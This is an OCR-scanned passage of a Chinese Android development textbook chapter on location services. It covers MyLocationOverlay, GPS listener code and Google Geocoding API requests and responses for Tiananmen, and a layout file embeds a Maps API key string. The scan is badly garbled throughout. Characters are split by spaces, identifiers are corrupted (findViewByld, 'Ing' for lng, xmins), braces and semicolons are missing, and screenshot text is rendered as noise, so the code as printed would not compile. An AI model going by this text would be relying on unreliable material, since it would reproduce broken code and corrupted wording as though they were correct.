回 天 安 门 : 纬度 = 39.9087110， 经 度 = 116.3975060。 

回 颐和园 : 纬度 = 39.9995740， 经 度 = 116.2739010。 

而 后 将 这 两 个 坐标 分 别传 到 了 PaintPointOverlay 和 PaintLineOverlay 图 层 类 进行 图 层 的 绘 
制 ， 最 终 将 这 3 个 图 层 〈 两 个 表示 点 的 图 层 ， 一 个 表示 绘 线 的 图 层 ) 进行 合 加 ， 程 序 的 运行 效 
果 如 图 13-25 所 示 。 


13.5.2 ”使 用 MyLocationOverlay 显示 地 图 层 


MyLocationOverlay 的 主要 功能 是 用 于 显示 一 个 地 图 的 图 层 ， 用 于 在 MapView 中 显示 当前 
的 位 置 和 方向 ， 并 且 可 以 使 用 加 重 标记 进行 显示 ， 此 类 的 常用 方法 如 表 13-12 所 示 。 
表 13-12 MyLocationOverlay 类 的 常用 方法 
方 ” 法 : 描述 
创建 一 个 MyLocationOverlay 
类 的 对 象 
是 否 启用 指南 针 来 判断 方向 
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方 ” 法 
public void disableCompass|O 


关闭 方向 提示 


public boolean isCompassEnabled0) 


方位 提示 是 否 打开 


public boolean enableMyLocation() 


启动 我 的 位 置 ， 并 根据 GPS 
或 网 络 更 新 位 置 


public void disable MyLocation() 
public void onSensorChanged(int sensor, float[] values, 
public void onLocationChanged(Location location) 


关闭 我 的 位 置 
传感器 操作 监听 
位 置 改变 监听 


public void onStatusChanged(String provider, int status, 
Bundle extras) 


GPS 提供 者 改变 监听 


public void onProviderEnabled(String provider) 


位 置 提供 者 启动 监听 


public void onProviderDisabled(String provider 

public boolean onSnapToItem(int x, int y, Point snapPoint, 
MapView mapView 

public boolean onTap(GeoPoint p, MapView map 

public boolean draw(android.graphics.Canvas canvas, 
MapView mapView, boolean shadow. long when) 

protected void drawMyLocation(Canvas canvas, MapView 
mapView, Location lastFix,GeoPoint myLocation,long when) 
protected void drawCompass(Canvas canvas, float bearing) 
public GeoPoint getMyLocationO 


public android.location.Location getLastFix() 


public boolean isMyLocationEnabled! 
public void onAccuracyChanged(int sensor, int accuracy) 


位 置 提供 者 关闭 监听 

检测 给 定 的 x 和 y 是 否 接 近 给 
定 的 捕捉 点 

指定 位 置 所 进行 的 操作 处 理 


在 地 图 上 进行 图 形 的 绘制 


在 地 图 上 绘制 我 的 位 置 


在 地 图 上 绘制 方向 指针 
取得 我 的 位 置 
返回 一 个 离 用 户 最 近 
坐标 
判断 是 否 启 用 我 的 位 置 
传感器 精度 改变 时 监听 


立 置 的 


MyLocationOverlay 子 类 要 比 ItemizedOverlay 子 类 使 用 的 简单 ,下面 直接 通过 一 段 具体 的 代 


码 说 明 如 何 标记 自己 的 位 置 。 


【 例 13-21】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout 


xmins:android="http:/schemas.android.com/apk/res/android" 


android:orientation="vertica/" 
android:layout_width="fill_parent”" 
android:layout_height="fill_parent"> 
<com.google.android.maps.MapView 
android:id="@+id/mapview" 
android:clickable="true” 
android:enabled= true” 
android:layout_width="fill_parent" 
android:layout_height="fill_parent" 


// 线 性 布局 管理 器 


/所 有 组 件 垂直 摆 放 

/布局 管理 器 宽度 为 屏幕 宽度 
/布局 管理 器 高 度 为 屏幕 高 度 
/定义 MapView 组 件 

1/ 组件 ID， 程序 中 使 用 
/允许 拖 搜 地 图 

/正常 开启 地 图 

/组 件 宽度 为 屏幕 宽度 

// 组 件 高 度 为 屏幕 高 度 


android:apiKey="0iYOAdVaszVJc0_-BkgatB-3xGtXsGdlv2PKKsg" /> // 生 成 的 密 钥 


</LinearLayout> 
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【 例 13-22】 定义 Activity 程序 〈 分 段 显 示 ) 
package org.Ixh.demo; 
import android.content.Context; 
import android.location.Location; 
import android.location.LocationListener; 
import android.location.LocationManager; 
import android.os.Bundle; 
import com.google.android.maps.GeoPoint; 
import com.google.android.maps.MapActivity; 
import com.google.android.maps.MapController; 
import com.google.android.maps.MapView; 
import com.google.android.maps.MyLocationOverlay; 


public class GoogleMapDemo extends MapActivity { /| 继承 MapActivity 

private LocationManager locationManager = null; // 位 置 管理 

private int longitudeE6 = 0 ; // 保 存 经 度 

private int latitudeE6 = 0 ; // 保 存 纬度 

private MapView mapView = null ; // 地 图 组 件 

@Override 

public void onCreate(Bundle savedInstanceState) { /onCreate() 方 法 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 读 取 布 局 文件 
this.longitudeE6 = (int) (116.3975060 * 1E6) ; // 默 认 经 度 
this.latitudeE6 = (int) (39.9087110 * 1E6) ; // 默 认 纬度 
this.mapView = (MapView) super.findViewByld(R.id.mapview) ; 。” // 取 得 组 件 
this.mapView.setBuiltInZoomControls(true) ; // 可 以 缩放 
GeoPoint geoPoint = new GeoPoint(this.latitudeE6， 

this longitudeE6); // 封 装 纬度 和 经 度 

MyLocationOverlay myloc = new MyLocationOverlay(this, this.mapView) ; 
myloc.enableMyLocation(); // 注 册 GPS 更 新 我 的 位 置 
myloc.enableCompass() ; /开启 磁场 感应 
this.mapView.getOverlays().add(myloc); /增加 一 个 新 图 层 
MapController mapController = mapView.getController(); /取得 地 图 控制 对 象 
mapController.animateTo(geoPoint); // 设 置 坐标 点 动画 
mapController.setCenter(geoPoint); // 设 置 中 心 点 
mapController.setZoom(16); // 放 大 级 别 设置 为 16 


this locationManager = (LocationManager) super 
.getSystemService(Context.LOCATION_SERVICE); // 取 得 位 置 服务 
this.locationManager.requestLocationUpdates( 


LocationManager.GPS_PROVIDER, /GPS 定位 提供 者 

0; /时 间 间 隔 设置 为 0 秒 
[0 /位 置 间隔 设置 为 0 米 
new LocationListenerlmpl()); // 设 置 位 置 监 


} 
本 程序 的 主要 功能 也 是 在 屏幕 上 进行 坐标 点 的 标记 , 而 后 使 用 MyLocationOverlay 类 定义 新 
的 地 图 层 ， 并 且 使 用 GPS 进行 位 置 的 注册 。 
private class LocationListenerlImpl implements LocationListener { 
@Override 
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改变 及 时 监听 ， 这 样 就 可 以 显示 坐标 点 ， 


public void onLocationChanged(Location location) { 


/设备 位 置 发 生 改 变 时 触发 


GoogleMapDemo.this.longitudeE6 = (int) (location .getLongitude() * 1e6) ;// 取 出 经 度 
GoogleMapDemo .thislatitudeE6 = (int) (location.getLatitude() * 1e6) ; // 取 出 纬度 


} 
@Override 
public void onProviderDisabled(String provider) { 
} 
@Override 
public void onProviderEnabled(String provider) { 
} 
@Override 
public void onStatusChanged(String provider, 
int status, Bundle extras) { 

} 

@Override 

protected boolean isRouteDisplayed(){ 
return false; 

} 

【 例 13-23】 修改 AndroidManifest.xml 文件 ， 配 置 权限 


// 当 数据 提供 者 关闭 时 触发 
// 当 数据 提供 者 启用 时 触发 
// 当 位 置信 息 状态 更 新 时 触发 
// 是 否 导航 

/不 导航 


<Uses-permission android:name="android.permission.INTERNET" /> 

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> 
<Uses-permission android:name="android.permission.ACCESS_COARSE_ LOCATION"/> 

当 用 户 的 位 置 发 生 改变 后 会 自动 触发 onLocationChanged() 方 法 ， 并 且 使 用 此 方法 对 位 置 的 


旦 序 的 运行 效果 如 图 13-26 所 示 。 


EESETTTE SS 二 | x| 
上 ll 让 4:07 
Google 地 图 
于 光 
故宫 靖 匆 院 ~ 刘 
催 门 ) 合 奋 | 
中 山 公园 2 中 山 公园 六 
(西门) 他 人 和 
二 北海 了 胡同 。 竺 
长 让 天 安 大 莫 
土 划 
邹 羊 中山 公 四 计量 5 天 安 站 "同城 和 相信 人 
傅 问 ) 
天 安 门 本 站 Be 和 @ 一 一 东 长 安 街 
图 西 长 安 街 : 天 安 门 东 站 长 安 
正 
入 安 部 去 究 
大 天 安 门 广场 只 训 
会 
Google 于 入 


图 13-26 我 的 位 置 


通过 图 13-26 可 以 发 现 , 此 时 只 是 将 指定 的 坐标 显示 在 了 屏幕 的 中 心 位 置 ， 而 并 没有 做 出 任 


何 的 其 他 标记 ， 但 当 用 户 通 过 模拟 器 发 送 坐标 后 (如 图 13-27 所 示 ) ， 就 可 以 观察 到 位 置 的 标记 


显示 了 ， 如 图 13-28 所 示 。 
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13.6 Geocode 


通过 之 前 的 几 个 程序 演示 ， 读 者 应 该 可 以 很 清楚 地 发 现 ， 只 要 有 经 度 与 纬度 信息 ， 就 一 定 
可 以 在 MapView 上 标记 出 具体 的 位 置 ， 那 么 如 果 现 在 有 一 个 位 置 的 坐标 〈 经 度 和 纬度 ) ， 该 如 
何 取得 位 置 的 名 称 呢 ? 或 者 说 ， 如 果 有 一 个 位 置 的 名 称 ， 该 如 何 取得 一 个 具体 的 坐标 呢 ? 实际 
上 这 两 个 功能 就 是 Geocode 所 要 完成 的 操作 了 。 


er 


还 有 一 种 不 可 用 的 Geocode。 

要 想 完成 地 点 的 坐标 查找 或 者 通过 坐标 查找 地 点 ， 在 Android 中 还 有 一 个 android.location. 
Geocode 的 操作 类 可 以 完成 ， 但 是 此 类 现在 并 不 可 用 ， 有 兴趣 的 读者 可 以 自行 实验 ， 所 以 本 
书 只 是 讲解 如 何 通过 Web 取得 位 置信 息 。 


而 用 户 可 以 通过 如 下 两 组 网 址 取得 信息 。 
(1) 通过 地 址 查询 坐标 
JSON 格式 数据 :http://maps.google.com/maps/api/geocode/json?address= 地 点 名 称 &sensor=false 
XML 格式 数据 : 。 http://maps.google.com/maps/api/geocode/xml?address= 地 点 名 称 &sensor-=false 
(2) 通过 坐标 查找 地 址 
JSON 格式 数据 : ”http://maps.google.com/maps/api/geocode/json?latiIng= 纬 度 坐 标 , 经 度 坐 标 
&sensor=false 
XML 格式 数据 : ” http://maps.google.com/maps/api/geocode/xml?latlne= 纬 度 坐 标 , 经 度 坐 标 
&sensor=false 
在 JSON 和 XML 格式 中 ， 后 面 的 sensor 表示 请 求 的 操作 是 否 来 源 于 GPS， 如 果 为 tue， 表 
示 来 源 于 设备 ， 如 果 为 false， 表 示 不 是 设备 所 发 出 的 。 
下 面 通过 4 个 网 址 观察 如 何 通过 Google 提供 的 服务 取得 信息 。 
(1) 通过 Google 服务 取得 天 安 门 的 位 置信 息 (JSON) ， 返 回 结果 如 图 13-29 所 示 。 
http://maps.google.com/maps/api/geocode/json?address= 无 安 /7&sensor=false 
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战 经 


(2) 通过 Google 服务 取得 天 安 门 的 位 置信 息 (XML) 


返回 结果 如 图 13-30 所 示 。 


http:/maps.google.cor/maps/api/geocode/xml?address= 天 安 /7&sensor=false 


“results” : [ 
{ 


“address_components” : [ 
{ 


“long_nane” 


“shor 
"types 


“long_nane” 


“short, 
"types” 


】 


]， 
“formatted sagess” 
{ 


[adninistrative_area_level_1”, 


+ [ “point_of_interest”, “establishment” 


区 ”, 
sublocality’, “political” ] 


“political” ] 


“北京 市 “， 
“北京 市 ， 


中国 


ane 


: [veountry"，“political  ] 


39. 9087110, 


+ 116. 3975060 


“political” 


] 


:“ 中 国 北京 市 东城 区 西 长 安 街 天 安 门 “， 


图 13-29 输入 地 址 返回 数据 (JSON 格式 ) 


(3) 输入 坐标 的 纬度 和 经 度 取得 地 址 信息 (JSON) 


This XL file does not appear to have any style information 
associated with it. The document tree is shomn below. 


v GeocodeResponse> 
status)OKC/ status》 
vresult. 
type point_of te 
tpe》estahb]ishuuent</typ 
fornatted_address; 中 国 屠 京 市 东城 区 西 长 安 竺 天 安 门 /fornatted_ address》 
v Caddress_component 
long_nane> 天 安 门 / lone_nane; 
short_nane》 天 安 门 (/ short_nane》 
《typeypoint of_interest</typey 
《typeyestablishmentK/typey 
/address_conponent> 
v Caddress_conponent> 
《long_nane> 西 长 安 衡 </long_nane> 
《short_nane》 西 长 安 街 </ short_nane>》 
CtypeYrouted/type> 
</address_component》 
v Caddress_component> 
<long_name》 东 城区 </1ong_nane》 
《short_nane》 东 妃 区 《short_nane>》 
Ctype>sublocality</type; 
《type>political</typey> 
CVaddres 
vaddress 
《long_nane) 北 京 《/long_nane》 
《short_name》 北 京 </ short_nane> 
《type>localityC/typey> 
《type>political<c/typey 
/address_conponent 
《address_component》 
《long_nane) 北 京 市 /long_nane》 
《short_name》 北 京 市 </ short_nane>》 
Ctype>adninistrative_area_level_1¢/type> 
《typeypolitical</typey 
</addresz_component 
YLaddress_component》 


图 13-30 ”输入 地 址 返回 数据 (XML 格式 ) 
返回 结果 如 图 13-31 所 示 。 


http://maps.google.com/maps/api/geocode/json?latiIng=39.91726940.,116.41351340&sensor=false 


(4) 输入 坐标 的 纬度 和 经 度 取 得 地 址 信息 (XML) 


返回 结果 如 图 13-32 所 示 。 


http://maps.google.com/maps/api/geocode/xml?latiIng=39.91726940, 116.41351340&sensor=false 


[ 


“results” 
{ 


"address_conponents” : [ 


“long_nane” 
“short_nane” 


]， 
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[ “street_nuaber” ] 


家 pontoon tp, “political” ] 


3 [ “locality’, 


“political” ] 


dninistrative_area_level_1°, 


“political” ] 


“100006", 
“100006", 


”] 


“political” 


通过 坐标 取得 位 置 (JSON 格式 ) 


v GeocodeResponse> 
status>OKC/status> 
véresult> 
<type7street_address</type> 
《<formatted_address> 中 国 北京 市 东城 区 甘 雨 胡同 53 号 邮政 编码 : 
100006¢/formatted_address> 
v Caddress_conponent> 
long_nane)53 号 </long_nane. 
<short_nane>53 呈 </short_nane> 
type)street_nunber</type> 
/address_component > 
v Caddress_component> 
《lone_nane> 甘 十 胡同 </long_nane> 
《short_name> 甘 雨 胡 同 《/short_nane> 
<type>routec/typey> 
</address_conponent》 
《address_component > 
《long_nane》 东 城区 《/ long_nane> 
《short_nane) 东 城区 </ short_nane> 
<typesublocality/type> 
<type?political</typey 
</address_component》 
《address_component》 
《long_name》 北 京 人 /long_name> 
] 《short_name》 北 京 </short_namey> 
全 ype>1ocality</type> 
<type?political</type> 
</address_component> 
v address_component> 
<long_nane> 北 京 市 /long_name> 
《short_name> 北 京 市 </short_name> 
<typeyadninistrative_area_level_1</typey> 
《type>political</typey 
</address_conponent》 
v Caddress_conponent> 
《long_nane> 中 国人 /long_nane》 


图 13-32 ”通过 坐标 取得 位 置 (XML 格式 ) 
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通过 返回 结果 发 现 ， 不 管 是 使 用 JSON 还 是 XML 格式 返回 数据 ， 除 格式 有 差异 外 ， 数 据 信 
息 完 全 一 样 , 而 JSON 传送 的 数据 要 比 XML 小 , 所 以 本 书 将 使 用 JSON 数据 格式 完成 转换 操作 ， 
下 面 首先 分 析 返 回 的 JSON 数据 组 成 。 
【 例 13-24】 通过 Google 服务 取得 天 安 门 的 位 置信 息 (JSON) 
http://maps.google.com/maps/api/geocode/json?address= 无 安 /7&sensor=false 
此 时 返回 的 数据 内 容 如 下 : 


"results" : [ 


{ 


"address_components" :[ 


"long_name" : "天 安 门 "， 
"short_name" : "天 安 门 "， 
"types" : [ "point_of_interest", "establishment" ] 


ll; 

{ 
"long_name" : " 西 长 安 街 "， 
"short_name" : " 西 长 安 街 "， 
"types" : [ "route" ] 

} 

{ 
"long_name" : "东城 区 "， 
"short_name" : "东城 区 "， 
"types" : [ "sublocality", "political" ] 

上 

{ 
"long_name" : "北京 "， 
"short_name" : "北京 "， 
"types" : [ "locality", "political" ] 

中 

{ 


"long_name" : "北京 市 "， 
"short_name" : "北京 市 "， 
"types" : [ "administrative_area_level_1", "political" ] 


"long_name" : "中 国 "， 
"short_name" : "CN", 
"types" : [ "country", "political" ] 


} 
], 
"formatted_address" : "中 国 北京 市 东城 区 西 长 安 街 天 安 门 "， 
"geometry :{ 
"location" : { 
"lat" : 39.9087110, 
"Ing" : 116.3975060 
} 


"location_type" : "APPROXIMATE", 


669 


名 师 讲坛 一 一 Android 开发 实战 经 典 


"viewport" : { 
"northeast" : { 
"at" : 39.91726940, 
"Ing" : 116.41351340 


me st 
"lat" : 39.90015150, 
"Ing" : 116.38149860 
} 
IE 
"types" : [ "point_of_interest", "establishment" ] 
} 
下 
"status" : "OK" 
} 
可 以 发 现 ， 此 时 JSON 返回 的 数据 信息 较 多 ， 其 主要 组 成 如 图 13-33 所 示 。 
通过 图 13-33 可 以 发 现 , 在 返回 的 数据 中 , results 是 一 个 数组 , 其 中 包含 了 多 个 返回 的 结果 ， 


并 且 每 一 个 返回 结果 中 又 包含 了 地 址 信息 〈address_components) ， 而 使 用 formatted_address 标 


记 的 是 一 个 完整 的 地 址 。 下 面 通过 一 个 具体 的 程序 
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来 实现 一 个 坐标 查找 的 功能 。 


JSONObject 


formatted_address | 完整 地 址 | 
ypes 地 址 类型 | 


addres5_components 


| 1 部 分 明成 信息 
9 【pe a 
| ' long_name [完整 名 称 | 
short_name 简称 
1 pes 地 址 类 型 | 
[于 本 
图 13-33 ”返回 的 JSON 数据 格式 
【 例 13-25】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/" /所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TableLayout // 内 赃 表 格 布局 管理 器 
xmlns:android="http:/schemas.android.com/apK/res/android” 
android:orientation="horizontal” /所 有 组 件 水 平 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height= "wrap_content> /布局 管理 器 高 度 为 内 部 组 件 高 度 
<TableRow> /定义 表格 行 
<TextView // 文 本 显示 组 件 
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android:layout_width="wrap_content" 
android:layout_height="wrap_content”" 
android:text=" 盘 入 坐 灰 绪 度 :"/> 
<EditText 
android:id="@+id/lat”" 
android:layout_width="200px" 
android:layout_height="wrap_content”" 
android:numeric="decimal" 


// 组 件 宽度 为 文字 宽 
// 组 件 高 度 为 文字 高 
// 默 认 显 示 文字 
// 文 本 编辑 组 件 
1/ 组件 ID， 程序 中 使 用 
// 组 件 宽度 为 200 像素 
/组件 高 度 为 文字 高 度 
/只 允许 输入 小 数 


度 
度 


android:text="39.91726940" /> // 软 认 显 示 文 字 ， 为 天 安 门 位 置 的 坐标 纬度 


</TableRow> 
<TableRow> 
<TextView 
android:layout_width="wrap_content”" 
android:layout_height="wrap_content” 
android:text=" 盘 入 坐 杰 经 厦 : “/> 
<EditText 
android:id="@+id/ing" 
android:layout_width="200px" 
android:layout_height="wrap_content” 
android:numeric="decimal” 


// 表 格 行 完结 

// 定 义 表格 行 

// 文 本 显示 组 件 

// 组 件 宽度 为 文字 宽度 
// 组 件 高 度 为 文字 高 度 
/默认 显示 文字 
/文本 编辑 组 件 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 200 像素 
// 组 件 高 度 为 文字 高 度 
// 只 允许 输入 小 数 


android:text="116.41351340"/>// 默 认 显示 文字 ， 为 天 安 门 位 置 的 坐标 经 度 


</TableRow> 
<TableRow> 
<Button 
android:id="@+id/search”" 
android:layout_width="wrap_content” 
android:layout_height="wrap_content” 
android:text=" 浴 芋 司 边 入 和 访 " /> 
</TableRow> 
</TableLayout> 
<TextView 
android:id="@+id/result" 
android:layout_width="fill_parent” 
android:layout_height="wrap_content" /> 
</LinearLayout> 
本 程序 主要 定义 了 一 个 内 嵌 的 表格 布局 管理 器 ， 
并 且 为 用 户 提供 了 输入 经 度 与 纬度 信息 的 文本 输入 
组 件 ， 而 为 了 简化 用 户 的 输入 操作 ， 直 接 将 天 安 门 位 
置 坐标 设置 为 了 默认 值 ， 此 时 布局 管理 器 的 显示 效果 
如 图 13-34 所 示 。 
【 例 13-26】 定义 Activity 程序 ， 通 过 坐标 取得 
位 置 (分 段 显 示 ) 
package org.Ixh.demo; 
import java.net.URL; 
import java.util.HashMap; 
import java.util.Map; 
import java.util.Scanner; 
import org.json.JSONArray; 


/表格 行 完结 

/定义 表格 行 
/按钮 组 件 

/组件 ID， 程 序 中 使 用 
// 组 件 宽度 为 文字 宽度 
// 组 件 高 度 为 文字 高 度 
// 默 认 显示 文字 

// 表 格 行 完结 

/内 嵌 表 格 布局 完结 
/文本 显示 组 件 

// 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 屏幕 宽度 
// 组 件 高 度 为 文字 高 度 


Geocodeproject 


图 13-34 布局 显示 
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import org.json.JSONObject; 

import android.app.Activity; 

import android.os.AsyncTask; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener; 
import android.widget.Button; 

import android.widget.EditText'; 

import android.widget.TextView; 

public class MyGeocodeDemo extends Activity { 


private EditText Ing = null; // 保 存 坐 标 经 度 
private EditText lat = null; // 保 存 坐标 纬度 
private Button search = null; // 按 钮 组 件 

private TextView result = null; // 定 义 文字 显示 组 件 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 定 义 布局 管理 器 
this.Ing = (EditText) super.findViewByld(R.id.Ing); // 取 得 组 件 
this.lat = (EditText) superfindViewByld(R.id.lat); // 取 得 组 件 
this.search = (Button) superfindViewByld(R.id.search); // 取 得 组 件 
this.result = (TextView) super .findViewByld(R.id.result); // 取 得 组 件 


this.search.setOnClickListener(new SearchOnClickListenerlmpl()); /设置 监听 事件 
} 
程序 首先 使 用 findViewById0 方 法 取得 了 各 个 操作 的 组 件 对 象 , 而 后 为 按钮 组 件 绑 定 了 一 个 
单 击 事件 ， 当 用 户 单 击 按钮 时 将 通过 文本 输入 组 件 输入 经 度 与 纬度 信息 后 ， 就 可 以 取得 位 置 的 


名 称 。 
private class SearchAsyncTask extends AsyncTask<Integer, String, Integer> {// 异 步 
private double latitude; /纬度 
private double longitude; /| 经 度 


public SearchAsyncTask(double latitude, double longitude) { /设置 数据 
this.latitude = latitude; 
this.longitude = longitude; 


1 
@Override 
protected void onProgressUpdate(String.… progress) { /每 次 更 新 之 后 的 数值 
MyGeocodeDemo.this.result.setText(progress[0]); // 更 新 文本 信息 
} 
@Override 
protected Integer dolnBackground(Integer... params) { 
Map<String, String> map = null; // 定 义 Map 集合 
try{ 
map = this.parseJson(this .latitude, 
this.longitude); // 解 析 数 据 
} catch (Exception e){ 
几 
if ("OK".equals(map.get("status"))) { 1// 判 断 状态 
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this.publishProgress(map.get("address")); /取出 地 址 信息 
}else{ 
this.publishProgress(map.get(" 没 有 查询 结果 ! ")); // 没 有 结果 
return null; 
} 
public Map<String, String> parseJson(double latitude, double longitude) 
throws Exception { /解析 JSON 数据 
Map<String, String> allMap = new HashMap<String, String>(); /定义 Map 集合 
StringBuffer buf = new StringBuffer(); // 读 取 数 据 
InputStream input = null ; // 输 入 流 
try{ 
URL url = new URL( 
"http://maps.google.com.cn/maps/api/geocode/json?lating=" 
+ latitude + "," + longitude + "&sensor=false");// 地 址 
input = url.openStream ; // 取 得 输入 流 
Scanner scan = new Scanner(input); /实例 化 Scanner 
While (scan.hasNext()) { 
buf.append(scan.next()); /保存 数据 
scan.close(); // 关 闭 输入 流 
} catch (Exception e){ 
e.printStackTrace(); 
}finally { 
input.close() ; // 关 闭 输入 流 
} 
JSONObject allData = new JSONObject(buf.toString()); /定义 JSONObject 
allMap.put("status", allData.getString("status")); // 取 出 并 设置 status 
JSONArray jsonArr = allData.getJSONArray("results"); 1/ 取 出 JSONArray 
JSONObject jsonObj = jsonArr.getJSONObject(0); // 取 得 一 个 JSONObject 
allMap.put("address", jsonObj.getString("formatted_address")); // 保 存 数据 
return allMap; // 返 回 全 部 记录 
} 


} 

由 于 此 种 访问 网 络 的 操作 需要 花费 更 多 的 时 间 ， 所 以 在 本 程序 中 ， 专 门 使 用 AsyncTask 类 
定义 了 一 个 异步 处 理 的 操作 类 , 通过 此 类 来 处 理 parseJson() 方 法 所 返回 的 数据 , 并 且 将 这 些 数据 
设置 到 result 文本 组 件 中 显示 。 

而 parseJson() 方 法 的 主要 功能 , 是 将 输入 的 经 度 与 纬度 信息 通过 指定 的 路 径 发 送 请 求 ， 而 后 
将 输入 的 数据 通过 JSONObject 与 SONArray 两 个 类 进行 解析 操作 后 , 将 最 终 的 解析 结果 保存 在 
Map 集合 中 。 

private class SearchOnClickListenerImpl implements OnClickListener { // 单 击 
@Override 


public void onClick(View view) { 
double latitude = Double.parseDouble(MyGeocodeDemo.this.lat 


.getText().toString()); // 取 得 纬度 信息 
double longitude = Double.parseDouble(MyGeocodeDemo.this.Ing 
.getText().toString()); // 取 得 经 度 信息 


MyGeocodeDemo.this.result.setText(" 请 稍 等 ， 信 息 正在 检索 中 ..."); // 默 认 文 字 
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new SearchAsyncTask(latitude, longitude).execute(0); /启动 异 步 任 务 


} 


} 

在 单 击 事件 中 ， 主 要 是 取出 输入 的 经 度 与 纬度 坐标 值 ， 而 后 将 这 些 坐 标 数 据 交 给 异步 处 理 

类 〈SearchAsyncTask) 进行 数据 的 查询 操作 ， 查 询 时 的 界面 显示 如 图 13-35 所 示 。 查 询 之 后 的 
界面 显示 如 图 13-36 所 示 。 

= 可 EEEET Tree 6 


‘Geocodeproj ocod 


i 39.91726940 给 入 坐标 纬度 B9.91726940 
给 入 坐标 经 度 


: 116.41351340 入 E 116.41351340 
检索 周边 信息 


图 13-35 正在 检索 界面 图 13-36 ”显示 查询 结果 


【 例 13-27】 修改 AndroidManifestxml 文件 ， 配 置 权限 
<Uses-permission android:name="android.permission.INTERNET" /> 
以 上 程序 完成 了 通过 坐标 查找 地 理 位 置 的 功能 ， 而 也 可 以 实现 通过 地 理 位 置 查找 坐标 的 操 
作 ， 例 如 ， 以 下 面 的 查找 位 置 为 例 : 
http://maps.google.com/maps/api/geocode/json?address= 天 安 门 &sensor=false 
当 输 入 以 上 网 址 之 后 ， 返 回 的 JSON 数据 如 下 : 
{ 
"results" : [ 
{ 
"address_components" : [ 
{ 
"long_name" : "天 安 门 "， 
"short_name" : "天 安 门 ”， 
"types" : [ "point_of_interest", "establishment" ] 


"long_name" : " 西 长 安 街 "， 
"short_name" : " 西 长 安 街 "， 
"types" : [ "route" ] 


"long_name" : "东城 区 "， 
"short_name" : "东城 区 "， 


"types" : [ "sublocality", "political" ] 


"short_name" : 


"types" : [ "locality", "political" ] 


674 


第 13 章 定位 服务 


{ 
"long_name" : "北京 市 "， 
"short_name" : "北京 市 "， 
"types" : [ "administrative_area_level_1", "political" ] 
此 
{ 
"long_name" : "中 国 ", 
"short_name" : "CN", 
"types" : [ "country", "political" ] 
} 


]， 
"formatted_address" : "中 国 北京 市 东城 区 西 长 安 街 天 安 门 "， 
"geometry":{ 
"location" : { 
"lat" : 39.9087110, 
"Ing" : 116.3975060 
} 
"location_type" : "APPROXIMATE", 
"viewport" : { 
"northeast" : { 
"lat" : 39.91726940, 
"Ing" : 116.41351340 


"southwest" : { 
"lat" : 39.90015150, 
"Ing" : 116.38149860 
1 
Di 
} 


中 


} 


]， 
"status" : "OK” 


es" : [ "point_of_interest", "establishment" ] 


} 
本 数据 与 之 前 通过 坐标 查找 位 置 返回 的 数据 类 似 , 在 这 组 数据 中 , 最 需要 关注 的 是 geometry 
中 location 中 的 两 个 数据 (纬度 lat 和 经 度 ng) ， 而 本 程序 中 所 需要 的 数据 关系 如 图 13-37 所 示 。 


人 JsoNobject ~ 
nn JSONObject 
status 查询 杖 态 | | 
| | I formatted_address 完整 地 址 | 
:1 Ce [ass | | | ype 
| 1 1 gddress components | 条 个 地 址 数据 | 
村 1 geometry 位 置 坐 标 | 
| 1 i 1 | J geometn 组 成 
| ! | : location,type 。 [位 置 类 型 | 
5 | | location 位 置 坐标 “| 
| i JoNobea | | J lecationy 组 成 
:| ow | mr | 
Fl!: 时 | | 


图 13-37 JSON 数据 格式 
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了 提示 

中 文 需要 使 用 URLEncoder 编码 。 

如 果 要 通过 网 络 请 求 查找 位 置 的 坐标 ， 则 输入 位 置 时 不 能 直接 输入 中 文 ， 必 须要 将 中 文 
使 用 URLEncoder 进行 编码 ， 如 下 所 示 。 

原始 地 址 : 

http://maps.google.com/maps/api/geocode/json?address= 天 安 门 &sensor=false 

编码 后 的 地 址 : 

http:/maps.google.cor/maps/api/geocodey/json?address=%E5%A49%A99%E59%AE%899%E99%9 

79%A8&sensor=false 

如 果 不 编码 ， 则 无 法 取得 信息 ， 这 一 点 可 以 通过 如 下 程序 观察 到 ， 而 对 于 URLEncoder 
不 熟悉 的 读者 ， 可 以 参考 《名 师 讲坛 一 一 Java 开发 实战 经 典 》 第 19 章 的 内 容 。 


下 面 使 用 返回 数据 完成 一 个 简单 的 程序 ， 由 用 户 输入 要 查询 的 位 置 名 称 ， 而 后 在 MapView 
上 使 用 Overlay 进行 标记 。 本 程序 继续 使 用 之 前 讲解 ItemizedOverlay 时 定义 的 标记 子 类 一 一 
MyOverlayImpljava， 所 以 在 此 不 再 重复 列 出 。 
【 例 13-28】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 定 义 线性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/" // 所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TableLayout // 内 赃 表 格 布局 管理 器 

xmlIns:android="http:/schemas.android.com/apk/res/android" 
android:orientation="horizontal” /所 有 组 件 水 平 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="wrap_content> /布局 管理 器 高 度 为 内 部 组 件 高 度 
<TableRow> // 定 义 表 格 行 
<EditText /文本 输入 组 件 
android:id="@+id/msg” // 组 件 ID， 程 序 中 使 用 
android:layout_width="200px” // 组 件 宽度 为 200 像素 
android:layout_height="wrap_content" ”// 组 件 高 度 为 文字 高 度 
android:text= "天安 /也 /> // 默 认 显示 文字 
<Button // 按 钮 组 件 
